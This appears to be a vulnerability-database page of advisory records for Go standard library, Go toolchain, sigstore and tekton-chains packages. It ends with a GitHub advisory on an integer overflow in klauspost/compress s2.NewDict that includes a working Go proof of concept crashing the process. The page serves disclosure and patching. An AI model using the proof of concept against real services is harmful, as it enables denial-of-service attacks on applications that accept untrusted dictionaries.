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(CVE-2026-33818)
Vulnerability from cleanstart – Published: 2026-09-01 11:17 – Updated: 2026-09-18 11:59 – Source websitePackage tekton-chains-fips version 0.26.5-r1 fixes 25 vulnerabilities: CVE-2026-33818, CVE-2026-46600, CVE-2026-56853, CVE-2026-56858, CVE-2026-56859...
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "tekton-chains-fips"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.26.5-r1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.26.5-r1"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package tekton-chains-fips version 0.26.5-r1 fixes 25 vulnerabilities: CVE-2026-33818, CVE-2026-46600, CVE-2026-56853, CVE-2026-56858, CVE-2026-56859...",
"id": "CLEANSTART-2026-NZ51335",
"modified": "2026-09-18T11:59:01.768079Z",
"published": "2026-09-01T11:17:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tektoncd/chains"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in tekton-chains-fips 0.26.5-r1",
"upstream": [
"CVE-2026-33818",
"CVE-2026-46600",
"CVE-2026-56853",
"CVE-2026-56858",
"CVE-2026-56859",
"CVE-2026-56860",
"CVE-2026-56862",
"CVE-2026-39821",
"ghsa-gcjh-h69q-9w9g",
"CVE-2026-49478",
"CVE-2026-48702",
"CVE-2026-54787",
"CVE-2026-49834",
"CVE-2026-49835",
"CVE-2026-39984",
"CVE-2026-2303",
"CVE-2026-39883",
"ghsa-hrxh-6v49-42gf",
"CVE-2026-56864",
"CVE-2026-56865",
"ghsa-259r-337f-4rfw",
"ghsa-3fxj-6jh8-hvhx",
"ghsa-9g5q-2w5x-hmxf",
"ghsa-rjr7-jggh-pgcp",
"CVE-2026-41178"
],
"withdrawn": "2026-09-18T11:59:01.768079Z"
}
CVE-2026-49835 (GCVE-0-2026-49835)
Vulnerability from cvelistv5 – Published: 2026-07-17 18:16 – Updated: 2026-07-17 19:45- CWE-770 - Allocation of Resources Without Limits or Throttling
| URL | Tags |
|---|---|
| https://github.com/sigstore/timestamp-authority/s… | x_refsource_CONFIRM |
| https://github.com/sigstore/timestamp-authority/c… | x_refsource_MISC |
| https://github.com/sigstore/timestamp-authority/r… | x_refsource_MISC |
| Vendor | Product | Version | |
|---|---|---|---|
| sigstore | timestamp-authority |
Affected:
< 2.1.0
|
{
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}
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}
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"source": {
"advisory": "GHSA-9c54-x2g4-v92j",
"discovery": "UNKNOWN"
},
"title": "Sigstore Timestamp Authority: OOM due to unbounded metric label cardinality"
}
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CVE-2026-54787 (GCVE-0-2026-54787)
Vulnerability from cvelistv5 – Published: 2026-07-31 21:58 – Updated: 2026-07-31 23:36- CWE-324 - Use of a Key Past its Expiration Date
| URL | Tags |
|---|---|
| https://github.com/sigstore/sigstore-go/security/… | x_refsource_CONFIRM |
| https://github.com/sigstore/sigstore-go/pull/642 | x_refsource_MISC |
| https://github.com/sigstore/sigstore-go/commit/45… | x_refsource_MISC |
| https://github.com/sigstore/sigstore-go/releases/… | x_refsource_MISC |
| Vendor | Product | Version | |
|---|---|---|---|
| sigstore | sigstore-go |
Affected:
< 1.2.1
|
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"descriptions": [
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}
],
"metrics": [
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"x_refsource_MISC"
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}
],
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CVE-2026-56853 (GCVE-0-2026-56853)
Vulnerability from cvelistv5 – Published: 2026-08-13 21:58 – Updated: 2026-08-14 15:23- CWE-770 - Allocation of Resources Without Limits or Throttling
| Vendor | Product | Version | |
|---|---|---|---|
| Go standard library | net/http |
Affected:
0 , < 1.25.13
(semver)
Affected: 1.26.0-0 , < 1.26.6 (semver) Affected: 1.27.0-0 , < 1.27.0-rc.3 (semver) |
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"integrityImpact": "NONE",
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},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://pkg.go.dev",
"defaultStatus": "unaffected",
"packageName": "net/http",
"product": "net/http",
"programRoutines": [
{
"name": "conn.readRequest"
},
{
"name": "conn.serve"
},
{
"name": "ListenAndServe"
},
{
"name": "ListenAndServeTLS"
},
{
"name": "Serve"
},
{
"name": "ServeTLS"
},
{
"name": "Server.ListenAndServe"
},
{
"name": "Server.ListenAndServeTLS"
},
{
"name": "Server.Serve"
},
{
"name": "Server.ServeTLS"
}
],
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"descriptions": [
{
"lang": "en",
"value": "When a server is configured to support unencrypted HTTP/2, it reads a few bytes from each new connection to see if they contain the HTTP/2 client preface. ReadHeaderTimeout is unexpectedly not being applied when doing this."
}
],
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"description": "CWE-770: Allocation of Resources Without Limits or Throttling",
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"dateUpdated": "2026-08-13T21:58:53.092Z",
"orgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
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},
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"url": "https://go.dev/cl/795540"
},
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"url": "https://groups.google.com/g/golang-announce/c/94pEornpRlI"
},
{
"url": "https://pkg.go.dev/vuln/GO-2026-6089"
}
],
"title": "Apply ReadHeaderTimeout when doing unencrypted HTTP/2 check in net/http"
}
},
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CVE-2026-56858 (GCVE-0-2026-56858)
Vulnerability from cvelistv5 – Published: 2026-08-13 21:58 – Updated: 2026-08-14 15:32- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
| Vendor | Product | Version | |
|---|---|---|---|
| Go standard library | html/template |
Affected:
0 , < 1.25.13
(semver)
Affected: 1.26.0-0 , < 1.26.6 (semver) Affected: 1.27.0-0 , < 1.27.0-rc.3 (semver) |
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"title": "CISA ADP Vulnrichment"
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"cna": {
"affected": [
{
"collectionURL": "https://pkg.go.dev",
"defaultStatus": "unaffected",
"packageName": "html/template",
"product": "html/template",
"programRoutines": [
{
"name": "tJS"
},
{
"name": "Template.Execute"
},
{
"name": "Template.ExecuteTemplate"
}
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"lang": "en",
"value": "Ali Sherif"
}
],
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"lang": "en",
"value": "Previously, pathological inputs could close an unescaped \u0027/\u0027 early, allowing for attack-controlled data to inject arbitrary content, potentially leading to XSS."
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"description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
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"providerMetadata": {
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},
{
"url": "https://pkg.go.dev/vuln/GO-2026-6091"
}
],
"title": "Fix Javascript regexp context tracking in html/template"
}
},
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CVE-2026-56859 (GCVE-0-2026-56859)
Vulnerability from cvelistv5 – Published: 2026-08-13 21:58 – Updated: 2026-08-14 15:21- CWE-770 - Allocation of Resources Without Limits or Throttling
| Vendor | Product | Version | |
|---|---|---|---|
| Go standard library | encoding/xml |
Affected:
0 , < 1.25.13
(semver)
Affected: 1.26.0-0 , < 1.26.6 (semver) Affected: 1.27.0-0 , < 1.27.0-rc.3 (semver) |
{
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"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
}
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"title": "CISA ADP Vulnrichment"
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"cna": {
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{
"collectionURL": "https://pkg.go.dev",
"defaultStatus": "unaffected",
"packageName": "encoding/xml",
"product": "encoding/xml",
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"name": "Decoder.push"
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"name": "Decoder.pop"
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{
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{
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{
"name": "Decoder.unmarshal"
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{
"name": "Decoder.Decode"
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{
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{
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"lang": "en",
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},
{
"url": "https://pkg.go.dev/vuln/GO-2026-6088"
}
],
"title": "Add recursion depth guard during decode in encoding/xml"
}
},
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CVE-2026-56860 (GCVE-0-2026-56860)
Vulnerability from cvelistv5 – Published: 2026-08-13 21:58 – Updated: 2026-08-14 16:14- CWE-407 - Inefficient Algorithmic Complexity
| Vendor | Product | Version | |
|---|---|---|---|
| Go standard library | net/url |
Affected:
0 , < 1.25.13
(semver)
Affected: 1.26.0-0 , < 1.26.6 (semver) Affected: 1.27.0-0 , < 1.27.0-rc.3 (semver) |
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"cna": {
"affected": [
{
"collectionURL": "https://pkg.go.dev",
"defaultStatus": "unaffected",
"packageName": "net/url",
"product": "net/url",
"programRoutines": [
{
"name": "resolvePath"
},
{
"name": "URL.Parse"
},
{
"name": "URL.ResolveReference"
}
],
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"lessThan": "1.25.13",
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"version": "1.27.0-0",
"versionType": "semver"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Previously, resolving relative paths containing parent directory (\u0027..\u0027) segments performed string conversions and buffer rewrites on each step, resulting in quadratic time complexity and high memory allocation overhead. Now, path resolution operates on a byte buffer using index-based backtracking for \u0027..\u0027 segments, eliminating the quadratic time complexity and significantly reducing memory allocations."
}
],
"problemTypes": [
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"descriptions": [
{
"description": "CWE-407: Inefficient Algorithmic Complexity",
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],
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"url": "https://groups.google.com/g/golang-announce/c/94pEornpRlI"
},
{
"url": "https://pkg.go.dev/vuln/GO-2026-6218"
}
],
"title": "Avoid quadratic complexity in resolvePath in net/url"
}
},
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CVE-2026-56862 (GCVE-0-2026-56862)
Vulnerability from cvelistv5 – Published: 2026-08-13 21:58 – Updated: 2026-08-14 15:29- CWE-770 - Allocation of Resources Without Limits or Throttling
| Vendor | Product | Version | |
|---|---|---|---|
| Go standard library | crypto/tls |
Affected:
0 , < 1.25.13
(semver)
Affected: 1.26.0-0 , < 1.26.6 (semver) Affected: 1.27.0-0 , < 1.27.0-rc.3 (semver) |
{
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"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
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{
"collectionURL": "https://pkg.go.dev",
"defaultStatus": "unaffected",
"packageName": "crypto/tls",
"product": "crypto/tls",
"programRoutines": [
{
"name": "Conn.readRecordOrCCS"
},
{
"name": "Conn.Handshake"
},
{
"name": "Conn.HandshakeContext"
},
{
"name": "Conn.Read"
},
{
"name": "Conn.Write"
},
{
"name": "Dial"
},
{
"name": "DialWithDialer"
},
{
"name": "Dialer.Dial"
},
{
"name": "Dialer.DialContext"
},
{
"name": "QUICConn.HandleData"
},
{
"name": "QUICConn.Start"
}
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"lessThan": "1.25.13",
"status": "affected",
"version": "0",
"versionType": "semver"
},
{
"lessThan": "1.26.6",
"status": "affected",
"version": "1.26.0-0",
"versionType": "semver"
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{
"lessThan": "1.27.0-rc.3",
"status": "affected",
"version": "1.27.0-0",
"versionType": "semver"
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]
}
],
"credits": [
{
"lang": "en",
"value": "Qi Deng of Aurascape.ai"
}
],
"descriptions": [
{
"lang": "en",
"value": "Handshake messages, such as KeyUpdate, are always considered as state-advancing, regardless of whether a handshake has been completed or not. As a result, a malicious client can keep sending KeyUpdate messages to force the server to keep performing key derivation operations indefinitely."
}
],
"problemTypes": [
{
"descriptions": [
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"description": "CWE-770: Allocation of Resources Without Limits or Throttling",
"lang": "en"
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}
],
"providerMetadata": {
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},
{
"url": "https://pkg.go.dev/vuln/GO-2026-6090"
}
],
"title": "Limit handshake messages we are willing to accept post-handshake in crypto/tls"
}
},
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CVE-2026-56864 (GCVE-0-2026-56864)
Vulnerability from cvelistv5 – Published: 2026-08-13 21:58 – Updated: 2026-08-14 16:16- CWE-347 - Improper Verification of Cryptographic Signature
| Vendor | Product | Version | |
|---|---|---|---|
| Go toolchain | cmd/go |
Affected:
0 , < 1.25.13
(semver)
Affected: 1.26.0-0 , < 1.26.6 (semver) Affected: 1.27.0-0 , < 1.27.0-rc.3 (semver) |
|
| golang.org/x/mod | golang.org/x/mod/sumdb |
Affected:
0 , < 0.40.0
(semver)
|
{
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{
"metrics": [
{
"cvssV3_1": {
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},
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"providerMetadata": {
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"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
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"vendor": "Go toolchain",
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"version": "0",
"versionType": "semver"
},
{
"lessThan": "1.26.6",
"status": "affected",
"version": "1.26.0-0",
"versionType": "semver"
},
{
"lessThan": "1.27.0-rc.3",
"status": "affected",
"version": "1.27.0-0",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://pkg.go.dev",
"defaultStatus": "unaffected",
"packageName": "golang.org/x/mod/sumdb",
"product": "golang.org/x/mod/sumdb",
"programRoutines": [
{
"name": "Client.Lookup"
}
],
"vendor": "golang.org/x/mod",
"versions": [
{
"lessThan": "0.40.0",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"value": "mundur"
}
],
"descriptions": [
{
"lang": "en",
"value": "A malicious GOSUMDB was capable of serving arbitrary module content not contained within the transparency log. This attack allows for a coordinating GOPROXY and GOSUMDB to serve a client malicious module content that cannot be detected by evaluating the transparency log. In order to determine if you have been affected: rm -r go.sum go.work.sum vendor/ \u0026\u0026 go mod tidy"
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-347: Improper Verification of Cryptographic Signature",
"lang": "en"
}
]
}
],
"providerMetadata": {
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},
{
"url": "https://go.dev/cl/815000"
},
{
"url": "https://go.dev/cl/815020"
},
{
"url": "https://pkg.go.dev/vuln/GO-2026-6180"
}
],
"title": "Ignore unrelated, unauthenticated hashes in Lookup in golang.org/x/mod/sumdb"
}
},
"cveMetadata": {
"assignerOrgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
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CVE-2026-56865 (GCVE-0-2026-56865)
Vulnerability from cvelistv5 – Published: 2026-08-13 21:58 – Updated: 2026-08-14 15:34- CWE-347 - Improper Verification of Cryptographic Signature
| Vendor | Product | Version | |
|---|---|---|---|
| Go toolchain | cmd/go |
Affected:
0 , < 1.25.13
(semver)
Affected: 1.26.0-0 , < 1.26.6 (semver) Affected: 1.27.0-0 , < 1.27.0-rc.3 (semver) |
|
| golang.org/x/mod | golang.org/x/mod/sumdb/tlog |
Affected:
0 , < 0.40.0
(semver)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 8.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2026-56865",
"options": [
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"Exploitation": "none"
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{
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}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-14T15:33:28.143873Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
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{
"descriptions": [
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"cweId": "CWE-347",
"description": "CWE-347 Improper Verification of Cryptographic Signature",
"lang": "en",
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}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-14T15:34:17.235Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
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],
"cna": {
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"collectionURL": "https://pkg.go.dev",
"defaultStatus": "unaffected",
"packageName": "cmd/go",
"product": "cmd/go",
"vendor": "Go toolchain",
"versions": [
{
"lessThan": "1.25.13",
"status": "affected",
"version": "0",
"versionType": "semver"
},
{
"lessThan": "1.26.6",
"status": "affected",
"version": "1.26.0-0",
"versionType": "semver"
},
{
"lessThan": "1.27.0-rc.3",
"status": "affected",
"version": "1.27.0-0",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://pkg.go.dev",
"defaultStatus": "unaffected",
"packageName": "golang.org/x/mod/sumdb/tlog",
"product": "golang.org/x/mod/sumdb/tlog",
"programRoutines": [
{
"name": "tileHashReader.ReadHashes"
}
],
"vendor": "golang.org/x/mod",
"versions": [
{
"lessThan": "0.40.0",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"value": "Filippo Valsorda (Geomys)"
}
],
"descriptions": [
{
"lang": "en",
"value": "A malicious GOPROXY was previously capable of forging up to two sumdb tiles that allow for a requested module to bypass the GOSUMDB check and persist attacker-controlled module content to a local Go module cache. This attack allows for a malicious GOPROXY to serve malicious module content that cannot be detected by evaluating the transparency log. All tiles are now correctly verified against their parents. In order to determine if you have been affected: rm -r go.sum go.work.sum vendor/ \u0026\u0026 go mod tidy"
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-347: Improper Verification of Cryptographic Signature",
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],
"providerMetadata": {
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"orgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
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},
{
"url": "https://groups.google.com/g/golang-announce/c/94pEornpRlI"
},
{
"url": "https://go.dev/cl/814960"
},
{
"url": "https://go.dev/cl/815020"
},
{
"url": "https://pkg.go.dev/vuln/GO-2026-6179"
}
],
"title": "Fix transparency log tile verification bypass in golang.org/x/mod/sumdb/tlog"
}
},
"cveMetadata": {
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},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GHSA-259R-337F-4RFW
Vulnerability from github – Published: 2026-10-20 14:33 – Updated: 2026-10-20 14:33Signed Integer Overflow in s2.NewDict
Summary
A signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV.
Package
- Name:
github.com/klauspost/compress/s2 - Ecosystem: Go
- Affected versions: <= v1.18.6 (all versions with
NewDictfunction)
Severity
High (7.5) — CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Vulnerability
Type
- CWE-190: Integer Overflow or Wraparound
- CWE-787: Out-of-bounds Write (via unsafe.Pointer)
Description
The NewDict() function reads a uvarint from dictionary data and converts it to int:
r, n := binary.Uvarint(dict)
// ...
d.repeat = int(r)
if d.repeat > len(dict) {
return nil
}
When r exceeds MaxInt64 (9223372036854775807), int(r) overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.
When Dict.Encode() is called, the negative repeat value causes an integer overflow in encodeBlockDictGo():
repeat := len(dict.dict) - dict.repeat // overflows: 62 - (-5758978476775341977) = huge positive
candidate := len(dict.dict) - repeat + s // underflows to negative
load32(dict.dict, candidate) // OOB via unsafe.Pointer
load32 calls le.Load32 which uses unsafe.Pointer arithmetic without bounds checking:
func Load32[I Indexer](b []byte, i I) uint32 {
return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))
}
This causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.
PoC
package main
import (
"encoding/binary"
"fmt"
"github.com/klauspost/compress/s2"
)
func main() {
var dictData []byte
buf := make([]byte, binary.MaxVarintLen64)
n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64
dictData = append(dictData, buf[:n]...)
dictData = append(dictData, make([]byte, 16)...) // minimum dict size
dict := s2.NewDict(dictData)
// dict is non-nil despite invalid repeat value (overflow bypassed validation)
src := make([]byte, 64)
for i := range src { src[i] = byte(i) }
dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer
}
Impact
- Denial of Service: The process crashes immediately with SIGSEGV
Attack Vector
Any application that:
1. Accepts user-supplied S2 dictionary data via s2.NewDict()
2. Calls Dict.Encode() on any data ≥32 bytes
Suggested Fix
Validate the uvarint value before converting to int:
if r > math.MaxInt64 {
return nil
}
d.repeat = int(r)
Or use uint for the repeat field and validate against uint(len(dict)).
References
- Source:
s2/dict.golines 59-61 (vulnerability),s2/encode_all.goline 947 (crash site) - Commit: 539243b (v1.18.6 + 4 commits)
Credits
Christopher Linke / https://github.com/celinke97/
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.18.6"
},
"package": {
"ecosystem": "Go",
"name": "github.com/klauspost/compress"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.18.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-63209"
],
"database_specific": {
"cwe_ids": [
"CWE-190",
"CWE-787"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-20T14:33:33Z",
"nvd_published_at": "2026-09-29T15:17:27Z",
"severity": "HIGH"
},
"details": "# Signed Integer Overflow in s2.NewDict\n\n## Summary\n\nA signed integer overflow vulnerability in `s2.NewDict()` allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding `MaxInt64`. When `Dict.Encode()` is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via `unsafe.Pointer` arithmetic, crashing the process with SIGSEGV.\n\n## Package\n\n- **Name:** `github.com/klauspost/compress/s2`\n- **Ecosystem:** Go\n- **Affected versions:** \u003c= v1.18.6 (all versions with `NewDict` function)\n\n## Severity\n\n**High (7.5)** \u2014 CVSS v3.1: `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n## Vulnerability\n\n### Type\n- CWE-190: Integer Overflow or Wraparound\n- CWE-787: Out-of-bounds Write (via unsafe.Pointer)\n\n### Description\n\nThe `NewDict()` function reads a uvarint from dictionary data and converts it to `int`:\n\n```go\nr, n := binary.Uvarint(dict)\n// ...\nd.repeat = int(r)\nif d.repeat \u003e len(dict) {\n return nil\n}\n```\n\nWhen `r` exceeds `MaxInt64` (9223372036854775807), `int(r)` overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.\n\nWhen `Dict.Encode()` is called, the negative `repeat` value causes an integer overflow in `encodeBlockDictGo()`:\n\n```go\nrepeat := len(dict.dict) - dict.repeat // overflows: 62 - (-5758978476775341977) = huge positive\ncandidate := len(dict.dict) - repeat + s // underflows to negative\nload32(dict.dict, candidate) // OOB via unsafe.Pointer\n```\n\n`load32` calls `le.Load32` which uses `unsafe.Pointer` arithmetic without bounds checking:\n\n```go\nfunc Load32[I Indexer](b []byte, i I) uint32 {\n return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))\n}\n```\n\nThis causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.\n\n## PoC\n\n```go\npackage main\n\nimport (\n \"encoding/binary\"\n \"fmt\"\n \"github.com/klauspost/compress/s2\"\n)\n\nfunc main() {\n var dictData []byte\n buf := make([]byte, binary.MaxVarintLen64)\n n := binary.PutUvarint(buf, 12687765596934209639) // \u003e MaxInt64\n dictData = append(dictData, buf[:n]...)\n dictData = append(dictData, make([]byte, 16)...) // minimum dict size\n\n dict := s2.NewDict(dictData)\n // dict is non-nil despite invalid repeat value (overflow bypassed validation)\n\n src := make([]byte, 64)\n for i := range src { src[i] = byte(i) }\n dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer\n}\n```\n\n## Impact\n\n- **Denial of Service:** The process crashes immediately with SIGSEGV\n\n## Attack Vector\n\nAny application that:\n1. Accepts user-supplied S2 dictionary data via `s2.NewDict()`\n2. Calls `Dict.Encode()` on any data \u226532 bytes\n\n## Suggested Fix\n\nValidate the uvarint value before converting to int:\n\n```go\nif r \u003e math.MaxInt64 {\n return nil\n}\nd.repeat = int(r)\n```\n\nOr use `uint` for the repeat field and validate against `uint(len(dict))`.\n\n## References\n\n- Source: `s2/dict.go` lines 59-61 (vulnerability), `s2/encode_all.go` line 947 (crash site)\n- Commit: 539243b (v1.18.6 + 4 commits)\n\n## Credits\nChristopher Linke / https://github.com/celinke97/",
"id": "GHSA-259r-337f-4rfw",
"modified": "2026-10-20T14:33:33Z",
"published": "2026-10-20T14:33:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/klauspost/compress/security/advisories/GHSA-259r-337f-4rfw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63209"
},
{
"type": "WEB",
"url": "https://github.com/klauspost/compress/pull/1163"
},
{
"type": "WEB",
"url": "https://github.com/klauspost/compress/commit/539243b8823ee8f03e49969823d57c348c917536"
},
{
"type": "WEB",
"url": "https://github.com/klauspost/compress/commit/8668e357e776d5152ed62f33c17f21b8690664fa"
},
{
"type": "PACKAGE",
"url": "https://github.com/klauspost/compress"
},
{
"type": "WEB",
"url": "https://github.com/klauspost/compress/releases/tag/v1.18.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress"
}
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